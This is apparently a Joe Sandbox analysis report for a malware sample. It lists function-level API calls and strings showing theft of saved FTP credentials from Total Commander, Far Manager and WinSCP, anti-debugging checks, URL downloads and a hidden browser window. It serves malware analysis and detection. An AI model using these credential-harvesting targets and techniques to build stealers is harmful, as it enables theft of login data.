Opcode Fuzzy Hash: c368ffed181334e4a999fe46bdaddc7fa5d9e929cd71afacdc90b45fbd8a1971
Instruction Fuzzy Hash: A2513D71900109BAEB11EFA5DD41EAEBBBDEF44308F204077E904F6292D775AF068B58

Function 004032B8 Relevance: 22.8, APIs: 9, Strings: 4, Instructions: 86
libraryloadermemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406A68: RegOpenKeyExW.ADVAPI32(80000001,AppEvents\Schemes\Apps\Explorer\Navigating\.current,00000000,00000001,?,00420840,?,00000000), ref: 00406A8C

Part of subcall function 00406ADF: RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,00000000,00420840,?,00000000,?,004032CE,00420840,?,00000000,?,?,0040B182), ref: 00406B2A

GetSystemMetrics.USER32(00000000), ref: 004032E5
GetSystemMetrics.USER32(00000001), ref: 004032ED
VirtualProtect.KERNEL32(75A90B80,0000000A,00000008,?,?,?,0040B182,?,0040B320,00000000,?,0040B3E0), ref: 00403309
VirtualProtect.KERNEL32(75A90B88,0000000A,?,?,?,?,0040B182,?,0040B320,00000000,?,0040B3E0), ref: 00403333
SetUnhandledExceptionFilter.KERNEL32(004032AF,?,?,0040B182,?,0040B320,00000000,?,0040B3E0), ref: 0040333A
LoadLibraryW.KERNEL32(atl,?,?,0040B182,?,0040B320,00000000,?,0040B3E0), ref: 00403345
GetProcAddress.KERNEL32(00000000,AtlAxWinInit), ref: 0040335D
GetProcAddress.KERNEL32(00000000,AtlAxAttachControl), ref: 0040336A
GetProcAddress.KERNEL32(00000000,AtlAxGetControl), ref: 00403377

Strings

atl, xrefs: 00403340
AtlAxWinInit, xrefs: 00403357
AtlAxAttachControl, xrefs: 0040335F
AtlAxGetControl, xrefs: 0040336C

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: AddressProc$MetricsOpenProtectSystemVirtual$ExceptionFilterLibraryLoadUnhandled
String ID: AtlAxAttachControl$AtlAxGetControl$AtlAxWinInit$atl
API String ID: 3066332896-2664446222
Opcode ID: fe1f50a485c472adffca313bd216073f3c2af1e46121dbe202f23b587a8dcd22
Instruction ID: 61d9a237d914756188f526d52bf2e891562662c8e4878cb3977fb5d3c9d5a9bd
Opcode Fuzzy Hash: fe1f50a485c472adffca313bd216073f3c2af1e46121dbe202f23b587a8dcd22
Instruction Fuzzy Hash: E6212771900390EED3019FBAAD84A5A7FE8EB5B31171545BBE556F32A0C7B80902CB79

Function 0040350F Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 185memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040821C: PathCombineW.SHLWAPI(?,?,0040EC40,00408268,?,00000000,?,00000000,00000000), ref: 0040823C

HeapAlloc.KERNEL32(00000008,00020002), ref: 00403566
GetPrivateProfileStringW.KERNEL32(00000000,00000000,00000000,00000000,0000FFFF,?), ref: 0040358A
HeapAlloc.KERNEL32(00000008,00000C20), ref: 004035B5
GetPrivateProfileStringW.KERNEL32(?,?,00000000,00000000,000000FF,?), ref: 00403639
GetPrivateProfileIntW.KERNEL32(?,?,00000015,?), ref: 00403653
GetPrivateProfileStringW.KERNEL32(?,?,00000000,-000001FE,000000FF,?), ref: 00403681

Strings

ftp://%s:%s@%s:%u, xrefs: 004036C3
user, xrefs: 00403601
port, xrefs: 004035F1
pass, xrefs: 00403611

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: PrivateProfile$String$AllocHeap$CombinePath
String ID: ftp://%s:%s@%s:%u$pass$port$user
API String ID: 3432043379-2696999094
Opcode ID: 44b7e08f2b4d95bd69ae67f2fadcfc6b29273b9b05256415c6f2e19ab8e382dd
Instruction ID: ca29095f8650abd3188745a74e72d347e34b1f07fc40ddfd65b33f15b90f053b
Opcode Fuzzy Hash: 44b7e08f2b4d95bd69ae67f2fadcfc6b29273b9b05256415c6f2e19ab8e382dd
Instruction Fuzzy Hash: D3515FB2104606AFE710EF61DC81EABBBEDEB88304F10493BF554A32D1D735DA058B56

Function 00408248 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 116sleepfilesynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 0040821C: PathCombineW.SHLWAPI(?,?,0040EC40,00408268,?,00000000,?,00000000,00000000), ref: 0040823C

FindFirstFileW.KERNEL32(?,?,?,00000000,00000000), ref: 00408280
WaitForSingleObject.KERNEL32(?,00000000), ref: 004082A6
PathMatchSpecW.SHLWAPI(0000002E,00000000), ref: 00408310
Sleep.KERNEL32(00000000), ref: 00408342
Sleep.KERNEL32(00000000), ref: 00408377
FindNextFileW.KERNEL32(00000000,00000010), ref: 004083A8
FindClose.KERNEL32(00000000), ref: 004083B9

Strings

.8@, xrefs: 0040833F
., xrefs: 004082B7
.8@, xrefs: 00408379
., xrefs: 004082CE

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: Find$FilePathSleep$CloseCombineFirstMatchNextObjectSingleSpecWait
String ID: .$.$.8@$.8@
API String ID: 2348139788-2639049386
Opcode ID: 6239f567dea19bf0f1c0472067baa2396414c83c3cbbf53e1e63fbac9dc8ae5f
Instruction ID: 14d48cc84805742e6106b0fbd309534a1a80b5d2ede52edf6fcc6a53e93a4421
Opcode Fuzzy Hash: 6239f567dea19bf0f1c0472067baa2396414c83c3cbbf53e1e63fbac9dc8ae5f
Instruction Fuzzy Hash: 35414F3140021DABCF219F50DE49BDE7B79AF84708F0401BAFD84B11A1EB7A9DA5CB59

Function 0040CD66 Relevance: 7.6, APIs: 5, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0040D0C4
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0040D0D9
UnhandledExceptionFilter.KERNEL32(0040E248), ref: 0040D0E4
GetCurrentProcess.KERNEL32(C0000409), ref: 0040D100
TerminateProcess.KERNEL32(00000000), ref: 0040D107

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 1b5eef82b17558b1403b6a949654a497de19b842f61d59b3835a6f2e4e548581
Instruction ID: 078c109d1665b9b830d76e00ceeb27c9797f204ae48b5850d213398ac2e03a3c
Opcode Fuzzy Hash: 1b5eef82b17558b1403b6a949654a497de19b842f61d59b3835a6f2e4e548581
Instruction Fuzzy Hash: 7F21CEB8801244DFD700DF59F945A857BF4BB08385F0086BAE708E76B0E7B458808F0D

Function 0040B096 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 181
threadnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,00420840,00001000,00000000,00000000,00000000,?,0040B320,00000000,?,0040B3E0), ref: 0040B103
InternetSetPerSiteCookieDecisionW.WININET(begun.ru,00000005), ref: 0040B16F
GetLastError.KERNEL32(00000004,?,0040B320,00000000,?,0040B3E0), ref: 0040B188
CreateThread.KERNEL32(00000000,00000000,Function_0000B023,?,00000000,00000000), ref: 0040B1C3

Strings

begun.ru, xrefs: 0040B16A
\netprotdrvss.exe, xrefs: 0040B12D, 0040B293

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: CookieCreateDecisionErrorFileInternetLastModuleNameSiteThread
String ID: \netprotdrvss.exe$begun.ru
API String ID: 2887986221-2660752650
Opcode ID: ad6e69e745eb0134cfaa1d61605679bf99b5aa58cc3a10e76cbc4c8091dfe4a8
Instruction ID: dc85dbecd2d93a1c92e95c54703b850062b4355e184197ecdf44903e32880826
Opcode Fuzzy Hash: ad6e69e745eb0134cfaa1d61605679bf99b5aa58cc3a10e76cbc4c8091dfe4a8
Instruction Fuzzy Hash: 4351F571A00218BBEB206F65DC89AAF3769EB44349F00447BF904BA1D1D77C8D51CBAE

Function 00403C10 Relevance: 22.9, APIs: 4, Strings: 9, Instructions: 173
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040848F: RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,?,00000104,00000000,?,?,?,00403796,?,?,00000104,?,00000000), ref: 004084A5

ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00403C84

Part of subcall function 004039EA: HeapAlloc.KERNEL32(00000008,00020002,?,00000104,SOFTWARE\Ghisler\Total Commander), ref: 00403A09
Part of subcall function 004039EA: GetPrivateProfileStringW.KERNEL32(00000000,00000000,00000000,00000000,0000FFFF,?), ref: 00403A2C
Part of subcall function 004039EA: HeapAlloc.KERNEL32(00000008,00000C0C), ref: 00403A55
Part of subcall function 004039EA: StrStrIW.SHLWAPI(?,?), ref: 00403ACF
Part of subcall function 004039EA: StrStrIW.SHLWAPI(?,?), ref: 00403AE4
Part of subcall function 004039EA: GetPrivateProfileStringW.KERNEL32(?,?,00000000,00000000,000000FF,?), ref: 00403AFF

PathRemoveFileSpecW.SHLWAPI(?), ref: 00403CA3

Part of subcall function 0040BE3A: HeapFree.KERNEL32(00000000,00000000,0040384E), ref: 0040BE4D

SHGetFolderPathW.SHELL32(00000000,00000024,00000000,00000000,?), ref: 00403D2C
ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00403DDF

Strings

ftpininame, xrefs: 00403C41
*total*commander*, xrefs: 00403CC9
*totalcmd*, xrefs: 00403CB7
&, xrefs: 00403D07
$, xrefs: 00403CF9
installdir, xrefs: 00403DA1
*ghisler*, xrefs: 00403CD8
#, xrefs: 00403D0E
SOFTWARE\Ghisler\Total Commander, xrefs: 00403C2F

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: Heap$AllocEnvironmentExpandPathPrivateProfileStringStrings$FileFolderFreeOpenRemoveSpec
String ID: #$$$&$*ghisler*$*total*commander*$*totalcmd*$SOFTWARE\Ghisler\Total Commander$ftpininame$installdir
API String ID: 2046068145-3914982127
Opcode ID: c15ee81aaaa02f11a0fa42fc104bb7fecd640ca8150ae48875d07a4d52372b20
Instruction ID: e3ad36e3959a395177e0e2b587ea9ce0600459653a05a841f57562a17ae86195
Opcode Fuzzy Hash: c15ee81aaaa02f11a0fa42fc104bb7fecd640ca8150ae48875d07a4d52372b20
Instruction Fuzzy Hash: AF516D72D0010CABDB10DAA1DC85FDF77BCEB44305F1044BBE515F2181EA789B898B65

Function 004027E6 Relevance: 21.4, APIs: 11, Strings: 1, Instructions: 355
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleInitialize.OLE32(00000000), ref: 004027F5

Part of subcall function 0040A469: InternetOpenW.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040A535
Part of subcall function 0040A469: InternetSetOptionW.WININET(00000000,00000041,00000000,00000004), ref: 0040A551

Strings

From: true, xrefs: 00402827

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: Internet$InitializeOpenOption
String ID: From: true
API String ID: 1176259655-9585188
Opcode ID: 97ee820607911564f81d2c28c98cc723bebeae55605858c30cb2ec0cfeb5fbf8
Instruction ID: 80b93d55993982ee294e6d3758cd093c071ceb3c0ab782597868a4ea0391af47
Opcode Fuzzy Hash: 97ee820607911564f81d2c28c98cc723bebeae55605858c30cb2ec0cfeb5fbf8
Instruction Fuzzy Hash: 89C1E371E00219AFDF20AFA5CD49A9E77B5AB04304F10447BF814B32D2D6B89D41CFA9

Function 00402E3E Relevance: 21.3, APIs: 5, Strings: 7, Instructions: 309
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004058FB: _memset.LIBCMT ref: 0040591C

GetModuleFileNameW.KERNEL32(00000000,00420840,00001000), ref: 00402EC3
GetCurrentDirectoryW.KERNEL32(00001000,00420840), ref: 00402EDC
GetLastError.KERNEL32(?), ref: 00402F4E
GetLastError.KERNEL32 ref: 00403237
GetLastError.KERNEL32(?), ref: 00403258

Strings

From: , xrefs: 004030C8
Via: , xrefs: 004030ED
.html, xrefs: 00402FFE, 004031EE
^client=, xrefs: 0040301A
file, xrefs: 0040300F
^key=, xrefs: 0040305E
none, xrefs: 00402F16

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: ErrorLast$CurrentDirectoryFileModuleName_memset
String ID: .html$From: $Via: $^client=$^key=$file$none
API String ID: 2247176544-3749385445
Opcode ID: 9ae992922a2ad1b825f1490aaeac56172bb5fbdf92c9f9a8e97600dc8421b205
Instruction ID: 295a2e83bb6b363340795eecc9968ea2d400926a6410b4e4a91bd94f8c6abde8
Opcode Fuzzy Hash: 9ae992922a2ad1b825f1490aaeac56172bb5fbdf92c9f9a8e97600dc8421b205
Instruction Fuzzy Hash: 01B17E72A001199BCB24EF61CD91AEB77A9EF44304F4040BFF519E7291EA389A858F59

Function 004041E4 Relevance: 21.2, APIs: 5, Strings: 7, Instructions: 210registrymemoryCOMMON

Download Yara Rule

APIs

HeapAlloc.KERNEL32(00000008,00000C0C), ref: 004041FD
RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00000008,?,00000008), ref: 004042B3
RegOpenKeyExW.ADVAPI32(?,?,00000000,00000001,?), ref: 00404373
RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 00404419
RegCloseKey.ADVAPI32(?), ref: 0040442A

Part of subcall function 0040BE3A: HeapFree.KERNEL32(00000000,00000000,0040384E), ref: 0040BE4D

Strings

SOFTWARE\Far\Plugins\ftp\hosts, xrefs: 00404219
user, xrefs: 00404274
hostname, xrefs: 00404258
password, xrefs: 00404282
ftp://%s:%s@%s, xrefs: 004043B7
username, xrefs: 00404266
SOFTWARE\Far2\Plugins\ftp\hosts, xrefs: 0040422A

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: HeapOpen$AllocCloseEnumFree
String ID: SOFTWARE\Far2\Plugins\ftp\hosts$SOFTWARE\Far\Plugins\ftp\hosts$ftp://%s:%s@%s$hostname$password$user$username
API String ID: 416369273-4007225339
Opcode ID: 3f2736f1e0ff0c0d04b40902a03d476764a73bdda13cc27d97253e0528d23963
Instruction ID: d928ca8cdb490927e602bcc25cbe761e1e9ca2c88fd961b6a2cac4e28df6e2a2
Opcode Fuzzy Hash: 3f2736f1e0ff0c0d04b40902a03d476764a73bdda13cc27d97253e0528d23963
Instruction Fuzzy Hash: CF717DB2900118ABCB20EB95CD45EEFBBBDEF48314F10457BF615F2181EA349A458B69

Function 0040451B Relevance: 19.5, APIs: 5, Strings: 6, Instructions: 205registrymemoryCOMMON

Download Yara Rule

APIs

HeapAlloc.KERNEL32(00000008,00000C20,?,00000000,00000008), ref: 00404542
RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00000008,?), ref: 004045DA
RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 00404605
RegCloseKey.ADVAPI32(?), ref: 0040476D

Strings

ftp://%s:%s@%s:%u, xrefs: 004046F3
hostname, xrefs: 00404586
SOFTWARE\martin prikryl\winscp 2\sessions, xrefs: 0040456A
password, xrefs: 004045B0
portnumber, xrefs: 00404594
username, xrefs: 004045A2

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: AllocCloseEnumHeapOpen
String ID: SOFTWARE\martin prikryl\winscp 2\sessions$ftp://%s:%s@%s:%u$hostname$password$portnumber$username
API String ID: 3497950970-285550827
Opcode ID: 83023a017879fb9d364fb3a00f065a4bae95062c392e5dad8cefd1387496df25
Instruction ID: 619369561540f7679ee4dce6ffb5b1aea82e2176e3673c83278f81db5409ea06
Opcode Fuzzy Hash: 83023a017879fb9d364fb3a00f065a4bae95062c392e5dad8cefd1387496df25
Instruction Fuzzy Hash: AE715DB2900119AFDB10DBD5CD81AEF77BCEB48308F10447AE605F3291EB389E458B68

Function 00409C99 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 127memorynetworkfileCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,hOA,?,00000000,04400000,00000000), ref: 00409CCB
GetProcessHeap.KERNEL32(00000000,00002001,?,?,?,00406FE2,?,?,?,?,?,?,00000000,00000000), ref: 00409CF4
HeapAlloc.KERNEL32(00000000,?,00406FE2,?,?,?,?,?,?,00000000,00000000), ref: 00409CF7
InternetReadFile.WININET(?,?,00001000,?), ref: 00409D6E
GetProcessHeap.KERNEL32(00000000,00000002,?,00406FE2,?,?,?,?,?,?,00000000,00000000), ref: 00409D80
HeapAlloc.KERNEL32(00000000,?,00406FE2,?,?,?,?,?,?,00000000,00000000), ref: 00409D83
GetProcessHeap.KERNEL32(00000000,00000000,?,00406FE2,?,?,?,?,?,?,00000000,00000000), ref: 00409DE3
HeapFree.KERNEL32(00000000,?,00406FE2,?,?,?,?,?,?,00000000,00000000), ref: 00409DE6

Strings

hOA, xrefs: 00409CC5

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: Heap$Process$AllocInternet$FileFreeOpenRead
String ID: hOA
API String ID: 1355009786-3485425990
Opcode ID: 786a5954c9ab5f0fe889d4d88a95b872a4b6a838963cd3095893ed4ca2eaaa4a
Instruction ID: 638041e7f74e2b46c75c1535d5ef76f15aa532bf5b3977fbb34850ab96fc5943
Opcode Fuzzy Hash: 786a5954c9ab5f0fe889d4d88a95b872a4b6a838963cd3095893ed4ca2eaaa4a
Instruction Fuzzy Hash: 1B418B71900209FFEB119F65C844BAA7BA9FF44355F14847AF819E6292E778CE80CF54

Function 00409301 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 105memoryCOMMON

Download Yara Rule

APIs

CharLowerW.USER32(?,?,?,?,?,?,+@,004089CD,?,?,?), ref: 0040933E
SysFreeString.OLEAUT32(?), ref: 00409359
SysFreeString.OLEAUT32(?), ref: 00409362
SysAllocString.OLEAUT32(?), ref: 004093B8
SysAllocString.OLEAUT32(javascript), ref: 004093C1
SysFreeString.OLEAUT32(00000000), ref: 004093E3
SysFreeString.OLEAUT32(00000000), ref: 004093E6

Strings

+@, xrefs: 00409301
javascript, xrefs: 004093BA
http:, xrefs: 00409347

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: String$Free$Alloc$CharLower
String ID: http:$javascript$+@
API String ID: 1987340527-3375436608
Opcode ID: 713b06055eefad9f5422e5b9f5fb5af6d58bbbe1ec79e9ea68907389bd6c3b4b
Instruction ID: 0b4048b57b081e67726dd44363989906ad2532c65c6ed0c60c908aefe346602b
Opcode Fuzzy Hash: 713b06055eefad9f5422e5b9f5fb5af6d58bbbe1ec79e9ea68907389bd6c3b4b
Instruction Fuzzy Hash: 6A310A71A00119AFDB04DFA6C889EAEB7B8EF48314B144469E805EB291D775AD41CF64

Function 00407036 Relevance: 16.6, APIs: 11, Instructions: 97filenetworkCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(00000000,771B0F00), ref: 00407043
CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000004,00000080,00000000), ref: 0040705D
GetLastError.KERNEL32(00000000), ref: 00407079
SetEndOfFile.KERNEL32(00000000), ref: 0040708F
InternetOpenUrlW.WININET(00000000,00000001,00000000,80000000,00000000,00000000), ref: 004070A9
CloseHandle.KERNEL32(00000000), ref: 004070BB

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: File$CloseCreateDeleteErrorHandleInternetLastOpen
String ID:
API String ID: 3711279109-0
Opcode ID: 89bc675b35fb8e2eee68dc50edc98837eed05b9f43fe5ca330cba4f7d07cf5ae
Instruction ID: 9d8a11a16b3c0a9aa44c9dcc38c8aa686dfb91ece0f3f59227d733df7bad94bb
Opcode Fuzzy Hash: 89bc675b35fb8e2eee68dc50edc98837eed05b9f43fe5ca330cba4f7d07cf5ae
Instruction Fuzzy Hash: 48313471800119EFEB119FA1DE85AEE7BBDFB04344F104872F652B61A0D731AE21DB66

Function 00406E69 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 130COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00406E78

Strings

From: , xrefs: 00406F8E
Via: , xrefs: 00406FAF
^nocrypt, xrefs: 00406F5C
.html, xrefs: 00406F14
Page generated at: , xrefs: 00407000
hOA, xrefs: 00406E7E
^key=, xrefs: 00406F2E
0, xrefs: 00406EF5

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: CountTick
String ID: .html$0$From: $Page generated at: $Via: $^key=$^nocrypt$hOA
API String ID: 536389180-697497794
Opcode ID: 84a0e12b251b3718d34eddf76b775ad89a92ce41e4fff3615f2568cd6720db27
Instruction ID: 73e0daeea7a9f5f4b783dd0519eebdf5205f1bdf48cad4214514e0173d2ce6b9
Opcode Fuzzy Hash: 84a0e12b251b3718d34eddf76b775ad89a92ce41e4fff3615f2568cd6720db27
Instruction Fuzzy Hash: 27416131A0161997CB25EBA2DC51BDE7369FF44308F0044BFB909B71C1EA78AE948F59

Function 00405229 Relevance: 15.1, APIs: 3, Strings: 7, Instructions: 134sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00002710), ref: 00405366
Sleep.KERNEL32(00009C40), ref: 00405383
Sleep.KERNEL32(00004E20), ref: 004053D0

Strings

From: , xrefs: 00405318
Via: , xrefs: 0040533C
.html, xrefs: 004052B4
CsM, xrefs: 004053B2
^key=, xrefs: 004052D0
hOA, xrefs: 00405305
ftp, xrefs: 004052C5

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: Sleep
String ID: .html$CsM$From: $Via: $^key=$ftp$hOA
API String ID: 3472027048-2333287219
Opcode ID: 74b6ecad85d8563e453e52ab39e53749c12d05251352443c8ee161ef9de2affd
Instruction ID: 3376cbd9a830c5581772f61034da1910d267ee329a165acd0f4726bddbbbde03
Opcode Fuzzy Hash: 74b6ecad85d8563e453e52ab39e53749c12d05251352443c8ee161ef9de2affd
Instruction Fuzzy Hash: 4E419431A0091887CB24E7A29D529EF73A9EF40318F54407FE905B71D1EA7C9E898F5D

Function 00408CB7 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 239COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(00000016), ref: 00408E7A

Strings

_self, xrefs: 00408ED5
+@, xrefs: 00408CB7
http, xrefs: 00408E1A

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: ClearVariant
String ID: _self$http$+@
API String ID: 1473721057-3317424838
Opcode ID: 318762bed40dfdc809c59a68404d151adbfac834f26e4a68fdc08c116542e79f
Instruction ID: ae9540e34d1dd6ebd4224328a85202065bb39baa52f6123ff81f2465f468f74f
Opcode Fuzzy Hash: 318762bed40dfdc809c59a68404d151adbfac834f26e4a68fdc08c116542e79f
Instruction Fuzzy Hash: 6C913D75A00209EFDB00DFA5C988DAEB7B9FF88305B144569E845FB290DB359D41CFA4

Function 00406ADF Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 136registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,00000000,00420840,?,00000000,?,004032CE,00420840,?,00000000,?,?,0040B182), ref: 00406B2A

Part of subcall function 004069C0: RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,00000000,7686E9B0,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?), ref: 004069E3
Part of subcall function 004069C0: RegCloseKey.KERNELBASE(00000000,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?,?,0040B3E5), ref: 004069ED

RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,00000000,?,004032CE,00420840,?,00000000,?,?,0040B182,?,0040B320,00000000), ref: 00406B8C
RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,00000000), ref: 00406C17

Strings

text/javascript, xrefs: 00406BF3
SOFTWARE\Classes\MIME\Database\Content Type\, xrefs: 00406AF6, 00406B5D, 00406BE8
application/x-javascript, xrefs: 00406B68
text/html, xrefs: 00406B01
CLSID, xrefs: 00406B3B, 00406B40, 00406B9D, 00406BB5, 00406C28, 00406C40

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: Open$CloseQueryValue
String ID: CLSID$SOFTWARE\Classes\MIME\Database\Content Type\$application/x-javascript$text/html$text/javascript
API String ID: 3546245721-1332223170
Opcode ID: a4b16fbb25d38b57ee4efe956d64624d2281db9512bb134eed98189875e02577
Instruction ID: b356448af2dda310db5a41c348b39e69e2b2ee30590ea213815e442ef4722270
Opcode Fuzzy Hash: a4b16fbb25d38b57ee4efe956d64624d2281db9512bb134eed98189875e02577
Instruction Fuzzy Hash: 0A4142B2650118AAEB10D6519E81BEB73FCEB44309F1144BBE705F2080FB789F598F69

Function 0040A156 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 84memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(eventConn), ref: 0040A18D
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0040A1D4
SetParent.USER32(00000000,00000000), ref: 0040A1E2
GetWindowLongW.USER32(00000000,000000EC), ref: 0040A1ED
SetWindowLongW.USER32(00000000,000000EC,00000000), ref: 0040A1FE
SetWindowPos.USER32(00000000,00000001,00001388,00001388,00000010,?,00000000), ref: 0040A21E

Part of subcall function 0040A0B5: CoInitialize.OLE32(00000000), ref: 0040A0C0
Part of subcall function 0040A0B5: GetModuleHandleW.KERNEL32(00000000,00000000,?,?,0040A16F,00427ED0,00000000,00000001,?,00402806,?), ref: 0040A0CE
Part of subcall function 0040A0B5: CreateWindowExW.USER32(00000000,AtlAxWin,Shell.Explorer,80000000,00000000,00000000,000004B0,00000320,00000000,00000000,00000000), ref: 0040A0F3

Strings

Shell_TrayWnd, xrefs: 0040A1CF
eventConn, xrefs: 0040A188

Memory Dump Source

Source File: 00000018.00000002.2343123610.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_omsecor.jbxd

Similarity

API ID: Window$Long$AllocCreateFindHandleInitializeModuleParentString
String ID: Shell_TrayWnd$eventConn
API String ID: 2141107913-3455059086
Opcode ID: 2066f8b397b36b8e779d0438fd1e5f75721f75fac11e843927efdeb34d7bad55
Instruction ID: 39c15930e577ecb7297998fc23ff8408fdcdb7101606cb16b0d9d8475b405f16
Opcode Fuzzy Hash: 2066f8b397b36b8e779d0438fd1e5f75721f75fac11e843927efdeb34d7bad55
Instruction Fuzzy Hash: 05216834900214EFDB10AFA4CD89FAB7BB9EF0A311F2046B5F901EA2A1C7755D54CB96

Function 004047CC Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 226memoryCOMMON

Download Yara Rule

APIs

